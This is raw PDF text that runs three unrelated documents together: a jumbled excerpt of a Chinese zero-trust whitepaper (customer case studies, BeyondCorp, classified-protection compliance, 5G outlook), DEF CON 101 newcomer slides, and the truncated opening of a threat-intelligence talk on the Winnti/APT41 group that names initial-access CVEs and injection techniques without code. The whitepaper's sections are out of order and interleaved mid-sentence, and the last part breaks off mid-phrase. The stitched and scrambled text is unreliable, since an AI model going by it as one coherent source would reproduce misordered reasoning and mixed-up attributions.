零信任网关和策略中心:暴露在外部可被用户直接访问的系统,主要功能如下: a)拦截转发:对未经授权的访问进行拦截,防止对后端系统进行攻击,仅授权用户才可以被转发访问; b)业务授权:允许对后台接入业务进行集中授权管理; c)动态鉴权:用户对应用等访问过程为实时鉴权,一旦用户状态变化,或不再安全将自动限制访问; d)安全策略:允许配置不同的安全策略,仅符合要求的才能进行访问,例如限制特定设备、特定用户的 访问; e)SSO:实现后台业务系统、办公系统的单点登录接入,提高用户体验; f)多因素认证:可以通过扫码、OTP、短信认证码等方式进行多因素认证。 7.2.4 效果 完美世界通过多年实践,通过对零信任的研发、部署和实施,实现了大规模和业务深入融合,截至2020 年,相关数据如下: a)用户:8000+用户自助激活使用; b)终端:10000+用户PC终端安装绑定零信任Agent; c)应用:700+后台、业务应用系统接入到零信任网关,并实现单点登录; d)服务器:1000+服务器安装部署零信任Agent,实现入侵检测监控。 此外通过对零信任架构的实施,达成了以下目的: a)资产可见、可控:通过仅授权设备的安全准入,实现了对每一台设备的使用人确认,设备状态可见, 安全可控; b)安全基线覆盖:通过部署到设备的零信任Agent,实现对所有设备的安全基线覆盖,实现强制杀毒软 件、补丁更新、安全加固等控制; c)权限集中控制:实现了对业务系统、办公系统的集中化权限控制,以及权限申请自动化,实现了可 控、可审; d)账号集中化:实现了全集团账号唯一化,账号全生命周期的自动化控制,离职权限自动回收; e)安全监控:通过覆盖全端的Agent,实现对了数据泄漏监控和预警。 在疫情期间,完美世界通过零信任架构支持了员工远程办公安全需求,通过零信任网关加零信任Agent, 将网关暴露在外允许用户在家使用零信任Agent远程连接公司内部系统,并通过网页堡垒机模块安全登录,实 现了远程办公的安全可控。 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 公司业务增长迅速,虚拟机数量多,同时也正在构建容器化平台,目前虚拟机+容器数量近20000点。快 速变化的业务加上大量的工作负载,导致安全防护属于滞后状态。通过多方调研及测试,最终选择采用基于代 理模式的微隔离方案来满足公司安全需求。 1)数据中心东西向流量可视化需求 要求能识别、监控虚拟机之间、虚拟机与物理机(不包括小型机)之间的流量,绘制云平台统一业务流量 拓扑图,能够便捷的实现业务梳理、并能为安全策略调整提供依据。 2)容器网络安全管理需求 要兼容现有的容器架构,能够实现容器之间的流量识别与控制,能够对容器配置访问控制规则,自动识别 容器的标签,自动发现容器的启停。而且对容器环境侵蚀性小。 3)自适应安全策略调整需求 虚拟机或容器在迁移、IP变化、弹性拓展等场景下,要求安全策略能够自适应调整,减少人工参与。 4)具备技术前瞻性,投资利用率高 不采购硬件,可以支持任何虚拟化架构,同时支持物理服务器(不包括小型机)、容器环境部署,支持混 合数据中心下的统一安全管理。 5)与现有的CMDB系统对接,形成安全闭环 微隔离通过CMDB自动安装客户端并配置业务标签——将学习到的业务流信息反馈到CMDB系统中,与规 划的业务关系进行对比。 7.3.1 需求 使用代理方式的微隔离方案,适用于虚拟化与容器共存的环境。另外本次涉及到与已有系统的对接调试, 国内供应商响应及时也很关键。 7.3.2 方案 7.3.3 效果 本次涉及到与已有系统的对接调试,国内供应商响应及时对产生好的项目效果很关键,以下描述了不同阶 段的情况。 能力测试验证阶段:测试共分为两期。 一期测试了176点,主要验证验了产品客户端兼容性、稳定性、性能以及产品功能。产品功能符合预期, 行 业 客 户 案 例 零 信 任 实 战 白 皮 书 零信任产业标准工作组 本案针对某市政务的业务应用进行零信任升级改造,其主要应用对接公安安全访问平台,因此需符合公安 部发布的零信任体系技术设计要求。改造方案需要根据业务访问进行安全防护,保证内部人员访问公安对接业 务系统的安全性,实现对用户的认证和权限管控,不同级别的用户,给予不同的访问权限,提供最小化的访问 权限。 7.4.1 需求 1)业务改造。将现有业务系统进行分离改造,将其改造为前置应用、后置应用,实现此系统进行业务级 安全控制的基础。 2)安全接入。外部高敏用户需通过VPN接入,同时必须使用云桌面访问内部系统,避免高敏数据直接被 访问到,内部用户则通过统一身份认证后进行业务访问,终端的环境感知和行为感知受到安全访问平台的监 控,动态获得访问权限,确保访问过程的安全。 3)实时监控。在访问控制区部署统一身份认证系统,与客户的认证系统对接,进行用户的认证和授权, 同时与访问网关联动协同实现用户访问应用过程的动态访问控制。 7.4.2 方案 初步实现与CMDB的对接。性能测试结果如下:产品性能完成了对客户端的初步测试,4核4G虚拟机,每 秒新建1000时(业务峰值一般在500左右),CPU占用为不到6%(8核8G不到3%),内存占用为0.3%。 二期共测试了1600点,验证了集群的稳定性、性能,容器环境的对接等。测试结果符合要求。 上线后阶段:近一年的实施,基本符合项目前期规划。 部署规模:截至6月份已完成廊坊数据中心全覆盖,以及部分上海数据中心部署,预计2020年底覆盖近 10000点。 部署周期:客户端通过自动化方式安装,虚拟化环境每天晚上可部署1000台;容器环境只需要在宿主机上 安装客户端,进度更快。由于内部系统比较统一规范,部署过程中未出现异常情况。 策略实施:先通过客户端自动学习业务关系,再与业务部门的规划进行匹配,从而逐步对策略进行配置。 第一阶段控制粒度为业务与业务之间;第二阶段逐步对核心系统实现主机到主机之间。 自动化运维:虚拟化环境下标签的配置通过与CMDB对接进行自动化配置;容器环境下,部署客户端时可 自动识别Label及namespace信息,作为分组及标签的依据。 行 业 客 户 案 例 零 信 任 实 战 白 皮 书 零信任产业标准工作组 4)动态授权。部署终端感知系统,实时环境风险、终端环境、内网行为感知等。 全新架构零信任体系下的安全访问平台的部署及实现方式,可以根据所访问业务应用进行部署,不再是传 统的非黑即白的边界安全防护技术,可以确保业务应用的安全性,实现了1000+内外网终端节点动态受控访 问,性能设计上提供横向扩展的备选项,可无感扩展接入能力,同时该访问过程符合公安大数据安全访问平台 零信任体系的技术设计要求。 7.4.3 效果 总部及各分公司人员层级复杂,人员较多、身份繁杂、且应用权限众多,需要加强业务系统的保密性,隐 藏业务系统,减少公司业务系统的暴露面。需要对接入业务系统的人员做身份预认证,访问预授权,不同身份 的人员给予不同的访问系统的权限,对应用级的访问进行准入控制。 1)集团总部部署SDP控制器。当总部和各级人员通过SDP客户端访问业务系统之前,会向SDP控制器发起 认证和权限请求。 2)将集团总部的认证系统和权限系统与天融信的统一身份认证系统做对接,用于访问用户的身份认证和 权限管控。 3)在总部、各级分支业务中心分别部署的SDP网关。当用户发起访问请求时,SDP控制器通过与认证系 统、权限系统以及SDP网关联动验证用户的身份和权限。 4)确认访问用户的身份和访问权限后,SDP控制器授权访问用户及访问用户可访问的SDP网关。访问用户 7.5.1 需求 7.5.2 方案 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 天融信零信任体系SDP的实现方式可以帮助该集团用户建立三级体系的安全访问体系,实现3000+员工的 业务访问需求,整个体系通过预授权提前划分好业务访问的细粒度权限,区分客户端所能访问的网关和应用, 避免业务直接暴露在互联网,也避免黑客提前知道网关入口,进行嗅探和尝试。整体方案提供SDP控制器云端 部署方式,可在云端快速扩展接入能力。 1)边界防护存在缺陷。0day漏洞、免杀技术、钓鱼邮件的应用,导致尽管边界重兵把守,攻击者仍然可 以进入内网,而目前多数用户网络内部未进行较细的安全域划分,以及没有充分的访问控制手段,一旦进入内 网,攻击者即可自由横移和渗透,很难被发现及阻止。 7.5.3效果 7.6.1 需求 7.6 某大型央企数据中心内攻防演练中的应用案例 (蔷薇灵动) 的终端才能与拥有同样授权SDP网关之间建立的数据访问通道,从而允许正常访问流量通过,进行访问相应的 业务系统。 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 1)基于流量学习,生成云平台业务系统安全策略1万余条; 2)共阻断不合规访问100多万次,其中阻断445端口探测50万次,139端口探测10万次,异常远程连接端 口访问2500余次。阻断非业务所需端口40万次(高端口,Windows默认开放端口); 3)上报内部异常事件22起,其中处理4个三级事件(成功发现失陷主机,攻击工具及攻击流程)。 应用微隔离解决方案,在应用层面和网络层面进行访问控制。 1)基础——产品部署后会自动学习业务流量,然后根据业务实际的访问情况,生成业务流白名单,并配 置安全策略。 2)扩展——对内网服务器(虚拟机)细分安全域。对于高危端口、异常来源IP、异常主机,可在网络层直 接关闭、阻断。防止攻击者进入网络后,在数据中心内部横移。 2)内部攻击面过大。从内网安全事件来看,由于未将重要资产及次要资产进行合理划分,各地分支机构 被入侵后往往可直接攻击总部。 3)端口开放过大。内部服务器存在较多无用端口开放的情况(Windows默认开放端口、开发不规范等原 因),导致内部攻击面过大。 4)内部缺少快速发现,快速处置手段。当攻击者进入内网后,无法快速发现,对于威胁IP、主机缺少快速 的隔离能力。 7.6.2 方案 7.6.3 效果 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 某政府单位,在疫情期间,采用隔天上班的机制分流,约一半部分职工远程在家办公模式,一半员工到办 公室上班。在家里办公和在办公室的职工,都需要需要访问企业的应用。既要满足一般员工在家办公的访问需 求,还要保证访问的安全性,不要因为开放导致勒索软件等恶意软件的入侵。 在用户与应用资源数据中心之间,建立了安全访问通道,所有终端必须经安全访问通道才能访问业务数 据。访问通道内部署安全访问代理、Web安全防护等安全措施作为策略执行点,对应用和数据服务进行安全防 护; 1)在安全访问通道内,安全接入区部署安全接入设备,实现了三类用户终端的统一安全接入; 2)策略引擎以及身份管理、授权、安全基线、安全审计、PKI系统等部署在数据中心,提供安全数据分 析、安全管理功能,并为策略引擎提供数据; 3)终端安全感知代理、威胁监测、数据防泄漏、日志采集代理等探针类组件部署在安全访问通道内,实 现用户终端安全及环境信息采集、威胁监测、日志采集功能,并发送给部署在数据中心内的策略引擎及其他安 全管理应用; 7.7.1 需求 采用零信任架构的安全防护体系方案如图所示: 7.7.2 方案 7.7 某政府单位案例(绿盟) 图: 基于零信任的安全防护架构 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 采用零信任架构后,在家办公员工可以直接访问应用系统,通过IAM系统提供的双因素认证,所有终端需 要部署安全Agent,负责采集办公设备的安全状态,只有通过安全基线要求的安全终端设备,才可以允许访问 系统。这两个安全措施,确保了用户可信和设备可信。此外,在家办公和在办公室办公,应用系统的访问体验 完全一致。认证通过后,根据员工的角色,应用提供了应用列表,只需点击应用的图标,可以单点登陆到对应 的应用,减少了再次输入账号口令的时间,改善了用户体验。 7.7.3 效果 集团存在多个办公区职场,通过多条专线连接到集团数据中心IDC,构成了一个大的企业内网。IDC机房有 丰富的带宽资源、BGP网络接入,原有专线造价昂贵,并且没有做好网络规划,多个分支职场呈现网状管理。 因业务发展和远程办公需要,希望将网络架构从纯内网访问安全架构,变成全部对外的外网入口管理体系。 7.8.1 需求 集团职场办公网络中有职场服务器区,业务比较少,属于历史业务,集团职场员工使用专线访问IDC区的 业务系统。集团职场环境下平时使用  IDC中的业务较多,为了精简网络整个管理,集团职场也优先走IDC的互 联网入口,减少专线的使用,现有专线当作备用的传输线路,可以有效减少专线使用费用。其他职场区域则直 接去掉专线,通过互联网连接零信任网关访问IDC。 7.8.2方案 4)策略引擎基于实时数据,经过信任和风险评估中,生成控制策略,发送给策略管理器,由策略管理器 进行策略分解、编排并派发给安全访问代理、Web防护、威胁监测、数据防泄漏等策略执行点,实现对应用的 安全防护; 5)策略管理器、策略引擎、安全探针类设备、安全管理应用位于控制面,安全访问代理、Web安全防 护、业务应用、数据服务等位于数据面,通过将它们部署在不同VPC或区域内实现隔离。为保证安全性,安全 访问平台可以部署在独立的区域内,实现与数据中心的物理隔离。 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 实施零信任网络架构后,保持了集团职场、分支职场统一的IDC企业内部资源访问入口,并有效减少了原 有的专线使用率,降低了成本。 7.8.3 效果 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 公安实战平台是一个以服务公安实战为宗旨,开发出多渠道汇总、多角度接触、多领域应用、多层面管理 的平台。随着业务系统越来越多,虽然系统部署在内网环境,但仍然面临较多安全访问风险: 1)大量终端接入导致业务系统响应不及时,通过第三方的平台或者系统进行传输,不同厂家的数据传输 安全方案和安全等级各异,导致数据泄露风险点加大; 2)内部业务系统越来越多,人员访问造成的泄密风险增加; 3)访问设备安全性,因为设备也会暴露一些高危的漏洞,因此很可能也危及实战平台等业务系统。 为了提高访问通道加密级别,满足国密加密访问要求。通过搭建一套零信任安全防护解决方案,建设一条 内网业务系统的国密访问通道,保障公安体系数字化工作空间。 7.9.1 需求 方案集成了专用安全浏览器、零信任安全网关、零信任管控平台,从云、管、端形成三维一体的零信任安 全体系,通过专用安全浏览器提供统一身份认证、终端信息采集、单点登录和链路加密为实战平台提供应用安 全访问入口和可信身份验证;零信任管控平台通过身份、状态、行为、内容、安全风险分析进行访问的信任评 估;零信任安全网关以身份的零信任策略、访问的零信任策略、内容的零信任策略,为实战平台提供动态访问 控制和应用访问代理,以此保障应用访问安全性;通过远程投屏,数字水印,文档不落地等手段 为实战平台数 据资产全生命周期保驾护航,如图所示: 7.9.2 方案 7.9 某公安实战平台案例(任子行) 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 BeyondCorp项目是谷歌根据零信任理念的具体实现是目前公知的最佳实践之一。谷歌真正决定开始 BeyondCorp项目的原因很难确定,但从其发布的一系列论文和公开分享中可以看出,BeyondCorp项目目标很 明确,让每位谷歌员工都可以在不使用VPN的情况下通过不可信的网络顺利开展工作。这意味着在这家超大 型、很早使用云计算技术的全球性互联网公司中,需要摈弃对现有企业特权网络(企业内网)的依赖,并开创一 种全新的安全访问模式。可以看出,BeyondCorp解决的是用户对内部资源访问场景下的访问安全。 BeyondCorp的落地依赖谷歌特有的一些安全技术和系统(如内网统一的 RPC 协议安全栈,扩展了GFE谷 歌HTTP/HTTPS反向代理组件作为策略执行点,并复用其负载均衡等),可能无法直接照搬使用。但Beyond- Corp背后的核心技术和理念值得业界参考。其核心思想仍是零信任的不信任任何对象,访问决策依赖于设备和 访问凭证等身份安全和信任评分因素,而不再仅仅关心网络位置。并使得用户可以从任何位置(企业内部、家 里、咖啡厅等)发起访问,除网络延迟以外,对资源的本地和远程访问体验基本一致。 BeyondCorp 的关键组件包括: 7.10.1 需求 7.10.2 方案 7.10 BeyCorp案例(谷歌) 图-BeyondCorp组件和访问流 1)设备目录数据库:包括设备清单数据库、用户群组数据库、设备和用户身份标识等; 2)信任推断:对访问环境(设备、用户行为、系统、应用等)的信任分析和度量; 3)访问控制引擎:持续监视并分析访问环境状态,并依据访问策略和信任等级,授权用户的资源访问操 作; 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 4)访问代理:实现访问策略的执行和访问流量加密,还会与谷歌的身份认证服务联动; BeyondCorp的架构实践特点如下: 1)企业应用程序和服务不再对公网可见 整个BeyondCorp对外暴露的组件只有访问代理,单点登录(SSO)系统和在RADIUS组件,以及间接暴露的访问 控制引擎组件。其中访问代理和访问控制引擎组件共同组成谷歌前端访问代理(GFE),  集中对访问请求进行认证 和授权。BeyondCorp系统通过DNS CNAME方式, 将访问代理组件暴露在公网中,所有对企业应用或服务的的域 名访问,都指向了访问代理,由访问代理集中进行认证、授权和对访问请求的转发。 2)企业内网的边界消失 发起连接的设备所在网络位置和IP地址不再是认证授权的必要因素。无论设备是在谷歌大楼内,还是在家里 或者在机场,所有对企业应用或服务的访问请求,都必须经过一个逻辑集中访问代理组件的认证和授权。 3)基于身份、设备和信任评估的细粒度访问控制 只有公司的设备清单数据库组件中的受控设备(公司购买并管控),  并且用户必须在用户/群组数据库组件中 存在,才能通过认证;然后经过信任推断组件的信任计算和评估后,才会获得相应的授权。 4)仅对特定应用,而非底层网络授予访问权限 最终是用户和设备获得仅针对特定应用的访问授权。 5)提供网络通信的端到端加密 用户设备到访问代理之间经过TLS加密, 访问代理和后端企业应用之间使用谷歌内部开发的认证和加密框架  LOAS(Low Overhead Authentication System)双向认证和加密。 BeyondCorp的实现概述: 1)验证用户 验证用户最基本的是用户名和密码,并通过多因素认证来获得额外的保证(国内一般是短信验证码或软硬 件token,当然也包括人脸、指纹等)。用户有很多类型:普通用户、管理员、外包、合作伙伴、客户等,多 因素认证都可以适用。 2)验证设备 要实现零信任原则,要把访问控制的决策扩展到设备级。如果设备未经过验证,设备就不可信。如果用户 使用常用的、可信设备访问,则可信度较高;如果在网吧用一台电脑来登陆,信任度就较低。设备验证还包括 了一些安全准入条件,比如是否安装杀毒软件和最新补丁。 3)限制访问权限和特权 根据最小权限原则赋予用户访问权限,最大程度限制恶意攻击的横向移动。在网络授权基础上,扩展到对 业务应用级的授权,业务层包含大量敏感数据,是攻击的首要目标,因此在应用侧限制权限非常重要。数据越 重要,权限越难获得,访问重要数据时也可以用多因素来进一步加强用户身份验证。 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 4)自学习和自适应 收集用户、设备、应用和服务器数据和访问行为等信息,形成日志数据库进行机器学习分析,达到异常识 别的目的,比如从异常位置访问资源,则立即触发强身份认证。 谷歌历时6年多,完成在企业网络的零信任改造,如今绝大部分谷歌员工的日常办公已能通过零信任网络 开展,提供基于用户和设备的身份认证与授权服务。 7.10.3 效果 零 信 任 实 战 白 皮 书 行 业 客 户 案 例 零信任产业标准工作组 08 零信任探索和展望 零信任产业标准工作组 8.1 合规性探索讨论 对于采用零信任理念实现的安全系统的合规性探索,着重研究针对国内等级保护2.0、个人信息保护等合 规要求,从边界防护、身份认证、访问控制和个人信息安全四个方面展开讨论。 总体上,零信任理念提出来一系列的基本假设和安全原则,但对于实现这些原则的颗粒程度并没有做过于 详细的定义,而我国等级保护2.0和个人信息保护相关的标准要求中的控制项,有些颗粒度很详细,是所有零 信任系统在设计和实现时需要重点关注和满足的。 1)应保证跨越边界的访问和数据流通过边界设备提供的受控接口进行通信。 分析:零信任架构中,数据流应通过安全认证和合法授权后,并且所有数据流都通过安全代理(网关、应 用代理、流量代理或者微隔离组件)方可连接到目标资源,资源隐藏在安全代理的后面,根据安全评估结果进 行最小限度的开放,来达到设备受控、数据流受控的安全要求。 2)应能够对非授权设备私自联到内部网络的行为进行检查或限制。应能够对内部用户非授权联到外部网 络的行为进行检查或限制。 分析:基于零信任的系统中,应“先验证后连接”,所有的终端设备需要先进行人员、设备、应用等身份验 证,才能允许连接后端资源。 在零信任架构中,所有发起访问的用户、设备、系统、服务都可以视作访问主体;所有访问的目标对象包 括应用、服务、数据都可以视作资源。零信任是在访问主体和资源之间进行访问控制(包括了对所有访问行为 的检查或限制),理论上可以用于外部向内部的访问,也可以用于内部向外部的访问。 8.1.1 在边界防护方面,等级保护要求: 1)对登录的用户进行身份标识和鉴别,身份标识具有唯一性,身份鉴别信息具有复杂度要求并定期更 换。应具有登录失败处理功能、配置并启用结束会话,限制非法登录次数和登录连接超时自动退出等相关措 施。 分析:零信任系统必须对用户身份进行认证,就包含需要进行身份标识和鉴别,认证时可根据实际需要实 现双因素甚至多因素的认证,保证身份不被冒用。零信理念任强调不仅对用户进行身份认证,还需要对用户使 用的设备进行认证,并且认证是持续的、多次的(可根据安全评估结果触发)。对于身份鉴别信息的复杂度要 求和登录识别处理机制,是零信任架构的系统需要关注和满足的。 2)当进行远程管理时,应采取必要措施防止鉴别信息在网络传输过程中被窃听。 分析:零信任系统要求所有的访问请求的通信链路都应该进行安全防护和强制授权,可保障鉴别信息传输 过程的安全。 8.1.2 在身份认证方面,等级保护要求: 零 信 任 实 战 白 皮 书 零 信 任 探 索 和 展 望 零信任产业标准工作组 8.2 5G应用场景探索讨论 5G作为新一代移动通信技术,与工业、医疗、交通等各个传统行业深度融合,承载了更多的社会资产、服 务和责任。5G网络架构及面向行业的业务能力中,引入了大量新技术和新型服务架构,包括虚拟化、软件定 义、边缘计算以及泛在接入等。5G融入百业的业务体系呈现出——入口多元化、数据立体化、服务个性化、设 备多元化的特征,企业边界、业务边界变得更加模糊,传统边界防护手段面临失效风险。5G网络及业务中,有 1)应在网络边界和区域之间根据访问控制策略,设置访问控制规则,默认情况下除允许通信外受控接口 拒绝所有通信。 分析:零信任默认任何时间、 任何位置、任何设备和用户都是不可信任的,通过软件定义的方式,把网络 边界收敛在需要保护的资源前端,并且所有的访问请求都需要经过零信任安全控制中心的认证和授权决策,通 过细粒度的访问控制策略,可以满足要求。 2)应能根据会话状态信息为进出数据流提供明确的允许/拒绝访问的能力。 分析:零信任系统最低可以做到单个访问请求连接的访问控制,因此可以满足会话级别的要求。 3)应能对登录的用户分配账户和权限。应授予管理用户所需的最小权限,实现管理用户的权限分离。 分析:零信任系统的基本原则就是最小权限原则,因此用户权限分配、管理用户的权限分离都可以实现。 8.1.3 在访问控制方面,等级保护要求: 1)应采用校验技术或密码技术保证重要数据在传输和存储过程中的完整性和保密性,尤其是个人信息数 据的安全。 分析:零信任的原则之一是保障通信流量的安全,这就包括来对通信数据的机密性和完整性要求。因此对 设计用户个人信息的通信数据传输过程,应注意增加校验技术、密码技术,以及传输过程中的数据保密性。在 密码使用方面,建议满足国密的相关要求,可使用SM2、SM3、SM4等国密算法来实现。 2)《个人信息安全规范》国家标准中提出,生物信息、网络身份标识信息、个人上网记录、个人常用设 备信息、个人位置信息属于用户个人信息,要加强保护。 分析:零信任系统在实现身份的持续安全识别和分析时,可能会采集和使用到个人信息相关的数据,在涉 及个人信息的全生命周期处理中都应加强关注这方面的合规性,通过技术手段(匿名化处理、传输/存储加密、 访问控制等)和管理措施来加强安全防护和保障。 8.1.4 个人信息保护方面, 等级保护主要考虑数据的完整性和保密性: 零 信 任 实 战 白 皮 书 零 信 任 探 索 和 展 望 零信任产业标准工作组 以下三大类场景可以引入零信任架构: 一是5G带来以业务应用为核心的商业新形态,网络与业务的运营中呈现出参与方多元化的特征,需要有统 一、持续的信任模式保证业务安全性。例如,边缘计算中核心网元下沉会给生产与管控带来多个责任方,需要 构建统一的信任管理模式。 二是5G引入了多项关键新技术(如:切片、网络虚拟化等),基于这些关键技术可以面向行业提供定制化 的整体解决方案。为此,运营商需要具备在复杂环境下对关键设备、服务以及资源访问的安全管控能力。例 如,切片技术中,运营商如何构建切片全生命周期的安全管理,为行业提供从核心网到客户生产网的一体化运 维能力。 三是在5G网络安全架构中,防护重点是进行安全边界的防护,在各个安全域之间部署边界防护设备保证安 全,这种基于边界的防护的不足之处正是值得将零信任架构适合引入的原因。例如,在5G独立架构(SA)的 核心网中采用基于服务的架构,整个核心网功能有若干类型网络功能组成。网络功能可以分为资源消费者、资 源生产者和访问授权者三类角色,可以将这三者分别映射为零信任架构中的访问主体、访问客体(资源)和零 信任安全控制中心,并借助零信任理念增加策略引擎,并将信任在时空的维度展开。 在5G网络及业务引入零信任安全解决方案的过程中,需要重点应对以下挑战: 1)身份这个概念的扩展,身份将不仅仅针对用户,还包括IP地址、Mac地址、操作系统等,也就是说具有 身份的任何实体包括用户、设备、云资产、网络分段,所有这些都必须在零信任架构下进行识别、认证和管 理。 2)正如大家所熟知的,5G有三大核心业务场景——超低时延、海量连接、超大带宽。适用于这三大场景 的零信任安全解决方案,需要具备超低时延的决策能力,具备支持海量连接的信任策略执行与更新的能力,以 及对于大流量的(准)实时处理能力。 3)敏感数据的保护,在5G业务应用中,存有大量的移动个人用户隐私信息、行业用户的隐私信息、商业 机密等关键数据,零信任系统要有足够的能力在保障数据安全的前提下进行数据的流转、存储和分析。 零信任架构还是一个新兴的安全模型,在发展过程中必然遇到各种挑战。需要不断的创新思维,保持积极 的心态,谨慎的推进和实践。可以预见,在不远的将来,零信任系统将通过不断的演进和弹性实施,为5G+网 络及业务建立全程可信的端到端安全防控能力。 零 信 任 实 战 白 皮 书 零 信 任 探 索 和 展 望 零信任产业标准工作组 8.3 展望 不管是在国内还是国外,零信任都将是未来网络安全发展的新方向。尤其是在当前新形势下,零信任愈发 被政府部门和业界所关注。相较于传统的防护手段,零信任这种网络安全的新理念新架构更有优势。伴随着5G 网络、大数据中心、工业互联网等新基建的加速推进,零信任结合国内实际应用场景的落地发展也将走上快车 道,总结业内实践,在不断丰富我国零信任理念和架构的同时,制定出一套完整的零信任技术和测试标准,从 而为行业发展扫清障碍,成为下一步亟待解决的问题。零信任的全面落地和产业发展未来可期,欢迎更多机构 与个人关注和参与零信任产业标准工作组,一起助力我国零信任产业规模化发展。 零 信 任 实 战 白 皮 书 零 信 任 探 索 和 展 望 零信任产业标准工作组 零信任ZT(Zero Trust) 软件定义边界SDP(Software Defined Perimeter) 微隔离MSG(Micro-Segmentation) 虚拟专用网络VPN(Virtual Private Network) 入侵防御系统IPS(Intrusion prevention system) 入侵检测系统IDS(Intrusion detection system) Web应用防火墙 WAF(Web applicaiton firewall ) 身份识别和访问管理IAM(Identity and access management) 安全运营中心SOC(Security operation center) 附 录 术语缩略语 NIST SP 800-207零信任架构 SDP标准规范1.0 谷歌的BeyondCorp系列论文 SDP安全架构技术指南 ITU-T: X.rfcsap-Reference framework for continuous protection of service access process Gartner: Market Guide for Zero Trust Network Access 编制组的内部实践相关资料 参考文献 零 信 任 实 战 白 皮 书 附 录 零信任产业标准工作组
pdf
DEF CON 101 FIRST – A BRIEF MOMENT OF SILENCE DevNull KingTuna WELCOME TO DEF CON HighWiz @highwiz Will @bsummerz Niki7a @Niki7a Magen Wu @magen_wu SecBarbie @SecBarbie Shaggy @ShaggyMcG n00bz @n00bznet MEET THE PANEL WELCOME TO LAS VEGAS Pace Yourself THIS IS DEF CON DGAF Everyone was a n00b once. All of us are still n00bs at something. THE COUNTDOWN Simple rules for surviving DEF CON Wash your hands, too Three Hours Daily Two meals daily Once Per Day THIS IS THE DESERT Stay hydrated All Good Sit Down And Drink Water Grab A Glass of Water Call A Doctor THE DEF CON CRUD Fist your friends Fist them often Seriously, wash your damn hands THIS IS DICK DON’T. BE. A. DICK. THE BASICS Hold the door. Keep your head up. Pay attention. Don’t block the hallway. DON’T BA AN ASSHAT Don’t ruin everyone’s time DON’T HECKLE If you don’t agree, talk afterwards. See the previous slide. PHONES AND WIRELESS Seriously? This is a hacker convention. Use your head. ASK PERMISSION Personal Space PICTURES Be Polite – Ask first Still, expect to be in a picture or two. Ask nicely if you don’t want to be in one. NOT EVERYTHING IS FREE Just because you see it laying out, does not mean you can take it. HAVE A PLAN Read the program. HACKER TRACKER! Talks fill up quickly. Consider purchasing the videos from TSOK. HACKER TRACKER • The official schedule app for DEF CON • Lots of good info about DC27 • Available on the App Store and Google Play • You should have downloaded it before now THE TALKS VILLAGES AI Village AppSec Village Aviation Village BCOS Block Chain Village Bio Hacking Village Blue Team Village Car Hacking Village Cloud Village Crypto & Privacy Village Data Duplication Village Hardware Hacking Village DroneWarz Village Ethics Village Hack the Sea Village Ham Village ICS Village Internet of Things Village Lock Bypass Village Lock Pick Village Monero Village Packet Hacking Village r00tz Asylum Recon Village Red Team Offense Village Rogue’s Village Social Engineering Village SkyTalks 303 Soldering Skills Village Tamper-Evident Village Voting Machine Hacking Village Variety eXploitation Village Wireless Village WORKSHOPS Workshops are training opportunities – usually hands on. DEMO LABS, CONTESTS & EVENTS Too much to list – here are some highlights. • Lots of tools in Demo Labs. • Capture the Flag. • Scavenger Hunt. • Travelcon • Hack the contests - Hacker Convention, remember? SWAG & VENDORS DEF CON is unique in that: Swag is DEF CON branded stuff. Vendors is a vendor hall. Each vendor has something to contribute to the hacker community. Do you feel like a phony? It’s okay, just about everyone else does too. Remember, if you are hanging with a group of people and you feel like a fraud because they are all super smart, keep in mind they chose to have you as a friend. DOUBLE DOG DARE Reach out. Put yourself out there. Find someone with something you share. TRIPLE DOG DARE Do something you have never done before. Try one of the villages. Go to a party. Thank Yous Slide Wiseacre -@ wiseacre_mike Jericho -@attritionorg Flipper -@nickflipper AlxRogan -@AlxRogan Vertigo -@v3rtig0 Clutch -@Nyt_Muves Will - @BSummerz SethOps -@swordofomen Security Tribe - @Sectribe Roamer -@ shitroamersays Runnerup -@runnerupdc MalwareUnicorn -@ malwareunicorn LHC -@ L0nelyH4ckers Lockheed -@TheLockheed Magen Wu - @magen_wu N00bz - @n00bznet SecBarbie - @Secbarbie Furb -@dixieflatline_ Nikita -@Niki7a Lost -@1o57 Siviak -@siviak Neil -@14311 Pushpin -@X72 Suggy -@5uggy Tuna -@KingTuna Zant -@zantdoit Pyro - @lmcomie LET’S HEAR FROM THE PANEL Highwiz @highwiz Will @ BSummerz Niki7a @niki7a Shaggy @shaggymcg Magen Wu @magen_wu n00bz @n00bznet SecBarbie @Secbarbie NAME THAT N00B This is for fun. We probably will pick on you. Your handle is a badge of honor. QUESTIONS
pdf
Winnti is Coming - Evolution after Prosecution TeamT5 2 研究員 UCCU 成員 工程師 Peter Syu 001 “Twice 推廣社” 社長 工程師 Tom Lai 456 研究員 Aragorn Tseng 首席分析師 Charles Li Who we are AGENDA 01 02 03 04 05 Initial Access Cobalt Strike Loader APT41’s Backdoor C2 Hiding Technique Relation to other operations 06 Takeaway Who is Winnti? 4 Winnti? APT41? 5 Ministry of State Security of the People's Republic of China(MSS) • Winnti = APT41 ? • APT41 = Chengdu404 ? • Under APT41, it can be divided into several groups via different techniques and targets • The targets are very wide. It is suspected that MSS has integrated the resources, attack techniques, and tools to make this group looks bigger. APT41 APT10 APT17 APT… Integration? Fishmaster /TAG-22 GroupCC Amoeba Unknown Group … Target Country Talk in last section 6 Target Industry High-tech Healthcare Airlines Financial Research Government Media Gaming Telecom Energy Education Manufacturing 7 Compromise Winnti is Coming - Evolution after Prosecution Initial Access ◆ CVE-2021-34527(printnightmare) ◆ CVE-2021-26855(proxylogon) ◆ SQL vulnerabilities ◆ phpmyadmin vulnerabilities ◆ Web vulnerabilities ◆ Flash installer ◆ Fake Decoy Icon 9 Webshell Access 10 Probe plugin 11 Webshell Upload 12 Catalina Log 13 Scan by Shodan Unused Probe 套件, 12, 67% Using Probe 套件, 6, 33% 15 Post-Compromise Winnti is Coming - Evolution after Prosecution New TTPs ◆ Certificate bypass ◆ Dll hollowing technique ◆ InstallUtil ◆ Early bird code injection ◆ CDN service and 